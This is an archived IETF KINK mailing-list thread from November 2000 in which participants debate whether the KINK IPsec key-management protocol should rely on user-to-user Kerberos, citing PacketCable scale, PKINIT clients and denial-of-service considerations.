IPSec SAs. > > > > > > This adds to the recovery time and adds additional > > > > > performance/reliability > > > > > > requirements to the KDC. The number of clients > per server > > > > > can be large - > > > > > > 100,000 clients / Call Server is possible in the > > > > > PacketCable architecture. > > > > > > > > > > > > It is possible for the server to save > > > user-to-user tickets and > > > > > > corresponding session keys into some shared database, > > > > > which is undesirable > > > > > > in terms of complexity as well as security. > > > > > > > > > > > > 2) Load balancing between multiple Call Servers is > > > > > sometimes used in > > > > > > the VoIP architecture - support for it is > mandatory in the > > > > > PacketCable > > > > > > standard. The user-to-user tickets again either add to > > > > > the rekeying time > > > > > > (which delays the switch-over time for a client between > > > > > servers) or adds the > > > > > > complication of a shared database of > user-to-user tickets. > > > > > > > > > > > > 3) A standard Kerberized server that doesn't support the > > > > > > user-to-user tickets is a lot simpler to implement. It > > > > > would implement a > > > > > > very small percentage of the Kerberos protocol - just > > > the AP Req/AP > > > > > > Rep/KRB-ERROR messages. With the user-to-user mode, the > > > > > server needs the > > > > > > complete Kerberos client implementation and in addition > > > > > may need to support > > > > > > a very large ticket cache for user-to-user tickets. > > > > > > > > > > > > 4) Setting per-user policy is awkward for > > > user-to-user requests. > > > > > > Normally, the user policy is associated with the client, > > > > > but in this case > > > > > > the client is the server. Kerberos allows a > user to pass > > > > > authorization data > > > > > > in a TGS Request (which may be insecure, > depending on the > > > > > content of that > > > > > > authorization data), which would not be possible > if it is > > > > > the server getting > > > > > > a ticket for the client. > > > > > > > > > > > > 5) Setting per-user policy in a cross-realm > > > case is even more > > > > > > awkward. The server's GetTGT request would most likely > > > > > contain the server's > > > > > > realm name (as the server may not know the client's > > > > > realm). This means that > > > > > > the response to the GetTGT will contain a > cross-realm TGT > > > > > for the client. > > > > > > So, the server's KDC will wind up issuing a server a > > > > > user-to-user ticket for > > > > > > a client principal that is not even in that KDC's realm. > > > > > > > > > > > > There are alternative methods for handling > PKINIT clients > > > > > that address most > > > > > > of the above issues. What I propose, is the following > > > > > modification to the > > > > > > protocol. The GetTGT message flow in section 4.2 can be > > > > > replaced with the > > > > > > following: > > > > > > > > > > > > A > > > > > > B > > > > > > ------ > > > > > > ------ > > > > > > 1 > AuthenticateRequest+ServerPrincipalName---------------> > > > > > > > > > > > > 2 > > > > > > <------------------------------------AuthenticateReply+AP_REQ > > > > > > > > > > > > 3 CREATE+ISAKMP (keyed cksum with sess key)--------> > > > > > > > > > > > > 4 <------------REPLY+ISAKMP(keyed cksum with > sess key) > > > > > > > > > > > > In the above flows, there needs to be a way to > tie flows 2 > > > > > and 3 together - > > > > > > for example the client timestamp inside AP_REQ can be > > > > > repeated in flow 3. > > > > > > In addition, there is already an XID in the header for > > > > > this key management > > > > > > session. (It is also possible to include the AP_REP > > > in flow 3.) > > > > > > > > > > > > In the above flows, the AuthenticateRequest is not > > > > > authenticated, just like > > > > > > the GetTGT message. There is the denial of service > > > > > argument against the > > > > > > above flow since anyone can send the > AuthenticateRequest. > > > > > If C impersonates > > > > > > A and sends the AuthenticateRequest, B will have > to reply, > > > > > but A will reject > > > > > > the reply because the XID (session ID in the > header) will > > > > > not match anything > > > > > > that A sent out. The denial of service arguments are: > > > > > > > > > > > > a) denial of service on the KDC - B may need to get a > > > > > ticket for A > > > > > > if it doesn't have it already. But, even if KDC > receives > > > > > an invalid > > > > > > TGS_REQ, it still has to decrypt it to see that it is > > > > > invalid. I don't > > > > > > think that the extra work of issuing a ticket is a major > > > > > problem. Also, > > > > > > clients should cache the tickets, and the number of > > > > > servers in the KDC > > > > > > database is probably not that big. Also, the clients > > > > > should excersize > > > > > > access control and know ahead of time which servers they > > > > > should be talking > > > > > > to. > > > > > > > > > > > > b) denial of service on the clients - this is similar > > > > > to (a), except > > > > > > that the client's ticket cache is filled up. This is > > > > > really the same case > > > > > > as (a), because when the client's ticket cache is filled > > > > > up it can remove > > > > > > one of the entries. It just means that if the > client gets > > > > > a request that > > > > > > needs the removed ticket, the client will > request it from > > > > > the KDC again. > > > > > > > > > > > > Also, with the current KINK protocol, similar denial of > > > > > service attacks are > > > > > > possible. In that protocol, the GetTGT message only > > > > > specifies the realm. > > > > > > If the server doesn't know the client's name, it > might get > > > > > the wrong client > > > > > > TGT and get a user-to-user ticket for a wrong > client. If > > > > > the server then > > > > > > finds out that the resulting user-to-user ticket is not > > > > > accepted by the > > > > > > legitimate client, it will probably retry with another > > > > > GetTGT message that > > > > > > could also result in a wrong TGT (inserted by an > > > > > adversary) and then a wrong > > > > > > user-to-user ticket, ... > > > > > > > > > > > > > > > > > > > > > From owner-ietf-kink Mon Nov 20 07:29:50 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id HAA15753 for ietf-kink-bks; Mon, 20 Nov 2000 07:29:50 -0800 (PST) Received: from rcn.ihtfp.org (me@ORANGE-TOUR.IHTFP.ORG [204.107.200.33]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA15742 for ; Mon, 20 Nov 2000 07:29:49 -0800 (PST) Received: (from warlord@localhost) by rcn.ihtfp.org (8.9.3) id KAA28359; Mon, 20 Nov 2000 10:30:25 -0500 To: "Medvinsky, Sasha (SD-EX)" Cc: "'Michael Thomas'" , "'ietf-kink@vpnc.org'" Subject: Re: alternative to user-to-user Kerberos in KINK References: <97DEDE66B3DCD11199D200805FA71BE202FD4887@ntas0027.gi.com> From: Derek Atkins Date: 20 Nov 2000 10:30:24 -0500 In-Reply-To: "Medvinsky, Sasha's message of "Tue, 14 Nov 2000 15:15:12 -0500" Message-ID: Lines: 19 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: "Medvinsky, Sasha (SD-EX)" writes: > Also, the client should really have an Access Control List of the servers it > wants to talk to and would not normally respond to a request from a server > it doesn't know about. Even if a client did respond to any such server - > the KDC has only a limited number of them in its database. This doesn't make sense in the KINK framework. KINK is meant as a peer-to-peer protocol. You cannot expect a KINK Peer to necessarily know what other peers to expect to talk to it. I think you are applying PacketCable architecture requirements to KINK, in a way that those requirements do not apply. -derek -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Mon Nov 20 10:56:15 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id KAA04900 for ietf-kink-bks; Mon, 20 Nov 2000 10:56:15 -0800 (PST) Received: from ariel.gi.com (ariel.gi.com [168.84.84.10]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id KAA04895 for ; Mon, 20 Nov 2000 10:56:12 -0800 (PST) Received: from ntas0028.gi.com ([168.84.84.98]) by GI.COM (PMDF V5.2-31 #46260) with ESMTP id <01JWRE8LVTPEEZS0H2@GI.COM> for ietf-kink@vpnc.org; Mon, 20 Nov 2000 10:56:18 PST Received: by ntas0028.gi.com with Internet Mail Service (5.5.2650.21) id ; Mon, 20 Nov 2000 10:55:10 -0500 Content-return: allowed Date: Mon, 20 Nov 2000 13:58:29 -0500 From: "Medvinsky, Sasha (SD-EX)" Subject: RE: alternative to user-to-user Kerberos in KINK To: "'Derek Atkins'" Cc: "'Michael Thomas'" , "'ietf-kink@vpnc.org'" Message-id: <97DEDE66B3DCD11199D200805FA71BE202FD48AC@ntas0027.gi.com> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset="iso-8859-1" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Derek, KINK is a peer-to-peer protocol, but Kerberos is not. A client-server architecture is more commonly used with Kerberos than the user-to-user case. I would say Kerberos looses some of its advantages when it is used in the user-to-user mode. There is nothing special about the PacketCable architecture, except that it assumes a client-server architecture and I don't think that we should exclude it from KINK. Sasha. > -----Original Message----- > From: Derek Atkins [mailto:warlord@MIT.EDU] > Sent: Monday, November 20, 2000 7:30 AM > To: Medvinsky, Sasha (SD-EX) > Cc: 'Michael Thomas'; 'ietf-kink@vpnc.org' > Subject: Re: alternative to user-to-user Kerberos in KINK > > > "Medvinsky, Sasha (SD-EX)" writes: > > > Also, the client should really have an Access Control List > of the servers it > > wants to talk to and would not normally respond to a > request from a server > > it doesn't know about. Even if a client did respond to any > such server - > > the KDC has only a limited number of them in its database. > > This doesn't make sense in the KINK framework. KINK is meant as a > peer-to-peer protocol. You cannot expect a KINK Peer to necessarily > know what other peers to expect to talk to it. I think you are > applying PacketCable architecture requirements to KINK, in a way that > those requirements do not apply. > > -derek > -- > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory > Member, MIT Student Information Processing Board (SIPB) > URL: http://web.mit.edu/warlord/ PP-ASEL N1NWH > warlord@MIT.EDU PGP key available > From owner-ietf-kink Mon Nov 20 11:05:48 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id LAA05178 for ietf-kink-bks; Mon, 20 Nov 2000 11:05:48 -0800 (PST) Received: from lukla.Sun.COM (lukla.Sun.COM [192.18.98.31]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA05174 for ; Mon, 20 Nov 2000 11:05:46 -0800 (PST) Received: from eastmail1.East.Sun.COM ([129.148.1.240]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id MAA06373; Mon, 20 Nov 2000 12:06:25 -0700 (MST) Received: from thunk.east.sun.com (thunk.East.Sun.COM [129.148.174.66]) by eastmail1.East.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v1.7) with ESMTP id OAA23833; Mon, 20 Nov 2000 14:06:25 -0500 (EST) Received: from thunk (localhost [127.0.0.1]) by thunk.east.sun.com (8.11.1+Sun/8.10.2) with ESMTP id eAKJ5ha235660; Mon, 20 Nov 2000 14:05:43 -0500 (EST) Message-Id: <200011201905.eAKJ5ha235660@thunk.east.sun.com> From: Bill Sommerfeld To: "Medvinsky, Sasha (SD-EX)" cc: "'Derek Atkins'" , "'Michael Thomas'" , "'ietf-kink@vpnc.org'" Subject: Re: alternative to user-to-user Kerberos in KINK In-reply-to: Your message of "Mon, 20 Nov 2000 13:58:29 EST." <97DEDE66B3DCD11199D200805FA71BE202FD48AC@ntas0027.gi.com> Reply-to: sommerfeld@east.sun.com Date: Mon, 20 Nov 2000 14:05:43 -0500 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > KINK is a peer-to-peer protocol, yes > but Kerberos is not. kerberos is a 3-party protocol involving a KDC and two principals. All principals in possession of their long term key can trivially do peer-to-peer authentication. the user-to-user extension in kerberos v5 also lets "clients" which only have a TGT do peer-to-peer authentication without posession of the long-term key. - Bill From owner-ietf-kink Mon Nov 20 11:10:15 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id LAA05361 for ietf-kink-bks; Mon, 20 Nov 2000 11:10:15 -0800 (PST) Received: from rcn.ihtfp.org (me@ORANGE-TOUR.IHTFP.ORG [204.107.200.33]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA05357 for ; Mon, 20 Nov 2000 11:10:14 -0800 (PST) Received: (from warlord@localhost) by rcn.ihtfp.org (8.9.3) id OAA28576; Mon, 20 Nov 2000 14:10:53 -0500 To: "Medvinsky, Sasha (SD-EX)" Cc: "'Michael Thomas'" , "'ietf-kink@vpnc.org'" Subject: Re: alternative to user-to-user Kerberos in KINK References: <97DEDE66B3DCD11199D200805FA71BE202FD48AC@ntas0027.gi.com> From: Derek Atkins Date: 20 Nov 2000 14:10:52 -0500 In-Reply-To: "Medvinsky, Sasha's message of "Mon, 20 Nov 2000 13:58:29 -0500" Message-ID: Lines: 37 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: "Medvinsky, Sasha (SD-EX)" writes: > Derek, > > KINK is a peer-to-peer protocol, but Kerberos is not. A client-server > architecture is more commonly used with Kerberos than the user-to-user case. > I would say Kerberos looses some of its advantages when it is used in the > user-to-user mode. > > There is nothing special about the PacketCable architecture, except that it > assumes a client-server architecture and I don't think that we should > exclude it from KINK. > > Sasha. The special case of PacketCable is that servers may need to initiate IPSec with clients, but you don't want to have the server store keys. So, you want to be able to securely "handoff" the authentication to the clients, via a wakeup or other mechanism. What this amounts to is the application server telling the application client something like "I want to authenticate to you, so initiate an authentication to me". This is particularly a problem with PKINIT entities, as you cannot obtain an AP_REQ for a PKINIT ID. I believe that the latter problem is one that KINK will have to solve (most likely by using user-2-user, initiated by either party). However, I do believe that the former is out-of-scope for KINK. I don't think KINK should try to worry about forcing the initiator of sessions. -derek -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Mon Nov 20 11:10:09 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id LAA05349 for ietf-kink-bks; Mon, 20 Nov 2000 11:10:09 -0800 (PST) Received: from ariel.gi.com (ariel.gi.com [168.84.84.10]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA05345 for ; Mon, 20 Nov 2000 11:10:08 -0800 (PST) Received: from ntas0028.gi.com ([168.84.84.98]) by GI.COM (PMDF V5.2-31 #46260) with ESMTP id <01JWREPUBEIWEZRYXM@GI.COM> for ietf-kink@vpnc.org; Mon, 20 Nov 2000 11:10:16 PST Received: by ntas0028.gi.com with Internet Mail Service (5.5.2650.21) id ; Mon, 20 Nov 2000 11:09:03 -0500 Content-return: allowed Date: Mon, 20 Nov 2000 14:12:24 -0500 From: "Medvinsky, Sasha (SD-EX)" Subject: RE: alternative to user-to-user Kerberos in KINK To: "'sommerfeld@east.sun.com'" Cc: "'Derek Atkins'" , "'Michael Thomas'" , "'ietf-kink@vpnc.org'" Message-id: <97DEDE66B3DCD11199D200805FA71BE202FD48B0@ntas0027.gi.com> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset="iso-8859-1" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: All I was saying is that although you can do peer-to-peer authentication with Kerberos, you shouldn't require it for an architecture where you don't have a peer-to-peer relationship. Sasha. > -----Original Message----- > From: Bill Sommerfeld [mailto:sommerfeld@east.sun.com] > Sent: Monday, November 20, 2000 11:06 AM > To: Medvinsky, Sasha (SD-EX) > Cc: 'Derek Atkins'; 'Michael Thomas'; 'ietf-kink@vpnc.org' > Subject: Re: alternative to user-to-user Kerberos in KINK > > > > KINK is a peer-to-peer protocol, > > yes > > > but Kerberos is not. > > kerberos is a 3-party protocol involving a KDC and two principals. > > All principals in possession of their long term key can trivially do > peer-to-peer authentication. the user-to-user extension in kerberos > v5 also lets "clients" which only have a TGT do peer-to-peer > authentication without posession of the long-term key. > > - Bill > From owner-ietf-kink Mon Nov 20 11:14:32 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id LAA05470 for ietf-kink-bks; Mon, 20 Nov 2000 11:14:32 -0800 (PST) Received: from ariel.gi.com (ariel.gi.com [168.84.84.10]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA05466 for ; Mon, 20 Nov 2000 11:14:30 -0800 (PST) Received: from ntas0028.gi.com ([168.84.84.98]) by GI.COM (PMDF V5.2-31 #46260) with ESMTP id <01JWREV9SW9GEZS3R0@GI.COM> for ietf-kink@vpnc.org; Mon, 20 Nov 2000 11:14:43 PST Received: by ntas0028.gi.com with Internet Mail Service (5.5.2650.21) id ; Mon, 20 Nov 2000 11:13:26 -0500 Content-return: allowed Date: Mon, 20 Nov 2000 14:16:47 -0500 From: "Medvinsky, Sasha (SD-EX)" Subject: RE: alternative to user-to-user Kerberos in KINK To: "'Derek Atkins'" Cc: "'Michael Thomas'" , "'ietf-kink@vpnc.org'" Message-id: <97DEDE66B3DCD11199D200805FA71BE202FD48B1@ntas0027.gi.com> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset="iso-8859-1" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: What makes this "hand-off of authentication to clients" out of scope for KINK? Sasha. > -----Original Message----- > From: Derek Atkins [mailto:warlord@mit.edu] > Sent: Monday, November 20, 2000 11:11 AM > To: Medvinsky, Sasha (SD-EX) > Cc: 'Michael Thomas'; 'ietf-kink@vpnc.org' > Subject: Re: alternative to user-to-user Kerberos in KINK > > > "Medvinsky, Sasha (SD-EX)" writes: > > > Derek, > > > > KINK is a peer-to-peer protocol, but Kerberos is not. A > client-server > > architecture is more commonly used with Kerberos than the > user-to-user case. > > I would say Kerberos looses some of its advantages when it > is used in the > > user-to-user mode. > > > > There is nothing special about the PacketCable > architecture, except that it > > assumes a client-server architecture and I don't think that > we should > > exclude it from KINK. > > > > Sasha. > > The special case of PacketCable is that servers may need to initiate > IPSec with clients, but you don't want to have the server store keys. > So, you want to be able to securely "handoff" the authentication to > the clients, via a wakeup or other mechanism. What this amounts to is > the application server telling the application client something like > "I want to authenticate to you, so initiate an authentication to me". > This is particularly a problem with PKINIT entities, as you cannot > obtain an AP_REQ for a PKINIT ID. > > I believe that the latter problem is one that KINK will have to solve > (most likely by using user-2-user, initiated by either party). > However, I do believe that the former is out-of-scope for KINK. I > don't think KINK should try to worry about forcing the initiator of > sessions. > > -derek > > -- > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory > Member, MIT Student Information Processing Board (SIPB) > URL: http://web.mit.edu/warlord/ PP-ASEL N1NWH > warlord@MIT.EDU PGP key available > From owner-ietf-kink Mon Nov 20 11:33:21 2000 Received: (from majordomo@localhost) by ns.secondary.com (8.9.3/8.9.3) id LAA06707 for ietf-kink-bks; Mon, 20 Nov 2000 11:33:21 -0800 (PST) Received: from rcn.ihtfp.org (me@ORANGE-TOUR.IHTFP.ORG [204.107.200.33]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA06703 for ; Mon, 20 Nov 2000 11:33:20 -0800 (PST) Received: (from warlord@localhost) by rcn.ihtfp.org (8.9.3) id OAA28591; Mon, 20 Nov 2000 14:34:02 -0500 To: "Medvinsky, Sasha (SD-EX)" Cc: "'Michael Thomas'" , "'ietf-kink@vpnc.org'" Subject: Re: alternative to user-to-user Kerberos in KINK References: <97DEDE66B3DCD11199D200805FA71BE202FD48B1@ntas0027.gi.com> From: Derek Atkins Date: 20 Nov 2000 14:34:02 -0500 In-Reply-To: "Medvinsky, Sasha's message of "Mon, 20 Nov 2000 14:16:47 -0500" Message-ID: Lines: 95 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: I consider it out of scope because it adds uncesseary complexity to the general KINK protocol. It is complexity that perhaps PacketCable needs (or, more likely, wants), but it is not complexity that makes sense, IMHO, for a general-purpose IPSec key management protocol. It either forces us to add options to the protcol (thereby adding complexity), or it forces us to always handoff authentication and design a secure way to doing so (also adding complextity). The problem is that there is no way to always know a priori whether a peer is a PKINIT peer (where PKINIT peer is one that only has a TGT to work with, which implies normal users as well as PKINIT-based hosts) or a normal peer. In order to reduce complexity in KINK we have to optimize for either PKINIT or non-PKINIT peers. I believe that non-PKINIT peers are the "normal" case (namely, hosts with krb5 keytabs). Based upon this assumption (we should probably discuss whether this assumption has merits), we should optimize the protocol for non-PKINIT. This implies that we should try normal Kerberos, and if we cannot obtain an AP_REQ, then we try U2U. It means an extra round-trip to the KDC in the case of a PKINIT peer the first time we try to authenticate. We can always cache U2U tickets. Alternately, if we optimize for PKINIT peers, we should just use U2U at all times. However, in neither case do we try to offload authentication from one entity to the other. The initiator is always the initiator, the responder is always the responder. Never are we trying to have the initiator tell the responder to initiate authentication. -derek "Medvinsky, Sasha (SD-EX)" writes: > What makes this "hand-off of authentication to clients" out of scope for > KINK? > > Sasha. > > > -----Original Message----- > > From: Derek Atkins [mailto:warlord@mit.edu] > > Sent: Monday, November 20, 2000 11:11 AM > > To: Medvinsky, Sasha (SD-EX) > > Cc: 'Michael Thomas'; 'ietf-kink@vpnc.org' > > Subject: Re: alternative to user-to-user Kerberos in KINK > > > > > > "Medvinsky, Sasha (SD-EX)" writes: > > > > > Derek, > > > > > > KINK is a peer-to-peer protocol, but Kerberos is not. A > > client-server > > > architecture is more commonly used with Kerberos than the > > user-to-user case. > > > I would say Kerberos looses some of its advantages when it > > is used in the > > > user-to-user mode. > > > > > > There is nothing special about the PacketCable > > architecture, except that it > > > assumes a client-server architecture and I don't think that > > we should > > > exclude it from KINK. > > > > > > Sasha. > > > > The special case of PacketCable is that servers may need to initiate > > IPSec with clients, but you don't want to have the server store keys. > > So, you want to be able to securely "handoff" the authentication to > > the clients, via a wakeup or other mechanism. What this amounts to is > > the application server telling the application client something like > > "I want to authenticate to you, so initiate an authentication to me". > > This is particularly a problem with PKINIT entities, as you cannot > > obtain an AP_REQ for a PKINIT ID. > > > > I believe that the latter problem is one that KINK will have to solve > > (most likely by using user-2-user, initiated by either party). > > However, I do believe that the former is out-of-scope for KINK. I > > don't think KINK should try to worry about forcing the initiator of > > sessions. > > > > -derek > > > > -- > > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory > > Member, MIT Student Information Processing Board (SIPB) > > URL: http://web.mit.edu/warlord/ PP-ASEL N1NWH > > warlord@MIT.EDU PGP key available > > -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Mon Nov 20 11:54:59 2000 Received: (from majordomo@localhost) by ns.secondary.com (8.9.3/8.9.3) id LAA08292 for ietf-kink-bks; Mon, 20 Nov 2000 11:54:59 -0800 (PST) Received: from cisco.com (flipper.cisco.com [171.69.25.141]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA08288 for ; Mon, 20 Nov 2000 11:54:58 -0800 (PST) Received: from localhost (ssh-sj1.cisco.com [171.68.225.134]) by cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.8.8) with ESMTP id LAA17904; Mon, 20 Nov 2000 11:55:07 -0800 (PST) Date: Mon, 20 Nov 2000 11:55:06 -0800 (PST) From: Jan Vilhuber To: Derek Atkins cc: "Medvinsky, Sasha (SD-EX)" , "'Michael Thomas'" , "'ietf-kink@vpnc.org'" Subject: Re: alternative to user-to-user Kerberos in KINK In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: As Michael pointed out a few weeks ago, if we assume some sort of enrollment protocol, that creates a shared secret between pkinit clients and KDC, then the pkinit case becomes the general case, i.e. anyone can initiate to a pkinit client, after the pkinit client has 'enrolled' with a KDC (and you wouldn't even need u-u). Rather than add complexity to KINK, I would prefer we put together an enrollment proposal, either within THIS group, or propose it in the kerberos WG. jan On 20 Nov 2000, Derek Atkins wrote: > I consider it out of scope because it adds uncesseary complexity to > the general KINK protocol. It is complexity that perhaps PacketCable > needs (or, more likely, wants), but it is not complexity that makes > sense, IMHO, for a general-purpose IPSec key management protocol. It > either forces us to add options to the protcol (thereby adding > complexity), or it forces us to always handoff authentication and > design a secure way to doing so (also adding complextity). > > The problem is that there is no way to always know a priori whether a > peer is a PKINIT peer (where PKINIT peer is one that only has a TGT to > work with, which implies normal users as well as PKINIT-based hosts) > or a normal peer. In order to reduce complexity in KINK we have to > optimize for either PKINIT or non-PKINIT peers. I believe that > non-PKINIT peers are the "normal" case (namely, hosts with krb5 > keytabs). > > Based upon this assumption (we should probably discuss whether this > assumption has merits), we should optimize the protocol for > non-PKINIT. This implies that we should try normal Kerberos, and if > we cannot obtain an AP_REQ, then we try U2U. It means an extra > round-trip to the KDC in the case of a PKINIT peer the first time we > try to authenticate. We can always cache U2U tickets. Alternately, > if we optimize for PKINIT peers, we should just use U2U at all times. > > However, in neither case do we try to offload authentication from one > entity to the other. The initiator is always the initiator, the > responder is always the responder. Never are we trying to have the > initiator tell the responder to initiate authentication. > > -derek > > "Medvinsky, Sasha (SD-EX)" writes: > > > What makes this "hand-off of authentication to clients" out of scope for > > KINK? > > > > Sasha. > > > > > -----Original Message----- > > > From: Derek Atkins [mailto:warlord@mit.edu] > > > Sent: Monday, November 20, 2000 11:11 AM > > > To: Medvinsky, Sasha (SD-EX) > > > Cc: 'Michael Thomas'; 'ietf-kink@vpnc.org' > > > Subject: Re: alternative to user-to-user Kerberos in KINK > > > > > > > > > "Medvinsky, Sasha (SD-EX)" writes: > > > > > > > Derek, > > > > > > > > KINK is a peer-to-peer protocol, but Kerberos is not. A > > > client-server > > > > architecture is more commonly used with Kerberos than the > > > user-to-user case. > > > > I would say Kerberos looses some of its advantages when it > > > is used in the > > > > user-to-user mode. > > > > > > > > There is nothing special about the PacketCable > > > architecture, except that it > > > > assumes a client-server architecture and I don't think that > > > we should > > > > exclude it from KINK. > > > > > > > > Sasha. > > > > > > The special case of PacketCable is that servers may need to initiate > > > IPSec with clients, but you don't want to have the server store keys. > > > So, you want to be able to securely "handoff" the authentication to > > > the clients, via a wakeup or other mechanism. What this amounts to is > > > the application server telling the application client something like > > > "I want to authenticate to you, so initiate an authentication to me". > > > This is particularly a problem with PKINIT entities, as you cannot > > > obtain an AP_REQ for a PKINIT ID. > > > > > > I believe that the latter problem is one that KINK will have to solve > > > (most likely by using user-2-user, initiated by either party). > > > However, I do believe that the former is out-of-scope for KINK. I > > > don't think KINK should try to worry about forcing the initiator of > > > sessions. > > > > > > -derek > > > > > > -- > > > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory > > > Member, MIT Student Information Processing Board (SIPB) > > > URL: http://web.mit.edu/warlord/ PP-ASEL N1NWH > > > warlord@MIT.EDU PGP key available > > > > > -- > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory > Member, MIT Student Information Processing Board (SIPB) > URL: http://web.mit.edu/warlord/ PP-ASEL N1NWH > warlord@MIT.EDU PGP key available > -- Jan Vilhuber vilhuber@cisco.com Cisco Systems, San Jose (408) 527-0847 From owner-ietf-kink Mon Nov 20 12:45:40 2000 Received: (from majordomo@localhost) by ns.secondary.com (8.9.3/8.9.3) id MAA10327 for ietf-kink-bks; Mon, 20 Nov 2000 12:45:40 -0800 (PST) Received: from ariel.gi.com (ariel.gi.com [168.84.84.10]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA10316 for ; Mon, 20 Nov 2000 12:45:35 -0800 (PST) Received: from ntas0028.gi.com ([168.84.84.98]) by GI.COM (PMDF V5.2-31 #46260) with ESMTP id <01JWRI2MW2N6EZS7UO@GI.COM> for ietf-kink@vpnc.org; Mon, 20 Nov 2000 12:46:03 PST Received: by ntas0028.gi.com with Internet Mail Service (5.5.2650.21) id ; Mon, 20 Nov 2000 12:44:52 -0500 Content-return: allowed Date: Mon, 20 Nov 2000 15:48:09 -0500 From: "Medvinsky, Sasha (SD-EX)" Subject: RE: alternative to user-to-user Kerberos in KINK To: "'Jan Vilhuber'" , Derek Atkins Cc: "'Michael Thomas'" , "'ietf-kink@vpnc.org'" Message-id: <97DEDE66B3DCD11199D200805FA71BE202FD48B4@ntas0027.gi.com> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset="iso-8859-1" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: As I replied to Mike's email, this client enrollment would eliminate some of the disadvantages of the user-to-user mode (e.g. adding user policy/authorization into the tickets), but would still require a server to obtain/maintain tickets for its clients. I also listed benefits of not having to do that. Sasha. > -----Original Message----- > From: Jan Vilhuber [mailto:vilhuber@cisco.com] > Sent: Monday, November 20, 2000 11:55 AM > To: Derek Atkins > Cc: Medvinsky, Sasha (SD-EX); 'Michael Thomas'; 'ietf-kink@vpnc.org' > Subject: Re: alternative to user-to-user Kerberos in KINK > > > As Michael pointed out a few weeks ago, if we assume some > sort of enrollment > protocol, that creates a shared secret between pkinit clients > and KDC, then > the pkinit case becomes the general case, i.e. anyone can > initiate to a > pkinit client, after the pkinit client has 'enrolled' with a > KDC (and you > wouldn't even need u-u). > > Rather than add complexity to KINK, I would prefer we put together an > enrollment proposal, either within THIS group, or propose it > in the kerberos > WG. > > jan > > > > > On 20 Nov 2000, Derek Atkins wrote: > > > I consider it out of scope because it adds uncesseary complexity to > > the general KINK protocol. It is complexity that perhaps > PacketCable > > needs (or, more likely, wants), but it is not complexity that makes > > sense, IMHO, for a general-purpose IPSec key management > protocol. It > > either forces us to add options to the protcol (thereby adding > > complexity), or it forces us to always handoff authentication and > > design a secure way to doing so (also adding complextity). > > > > The problem is that there is no way to always know a priori > whether a > > peer is a PKINIT peer (where PKINIT peer is one that only > has a TGT to > > work with, which implies normal users as well as PKINIT-based hosts) > > or a normal peer. In order to reduce complexity in KINK we have to > > optimize for either PKINIT or non-PKINIT peers. I believe that > > non-PKINIT peers are the "normal" case (namely, hosts with krb5 > > keytabs). > > > > Based upon this assumption (we should probably discuss whether this > > assumption has merits), we should optimize the protocol for > > non-PKINIT. This implies that we should try normal Kerberos, and if > > we cannot obtain an AP_REQ, then we try U2U. It means an extra > > round-trip to the KDC in the case of a PKINIT peer the first time we > > try to authenticate. We can always cache U2U tickets. Alternately, > > if we optimize for PKINIT peers, we should just use U2U at > all times. > > > > However, in neither case do we try to offload > authentication from one > > entity to the other. The initiator is always the initiator, the > > responder is always the responder. Never are we trying to have the > > initiator tell the responder to initiate authentication. > > > > -derek 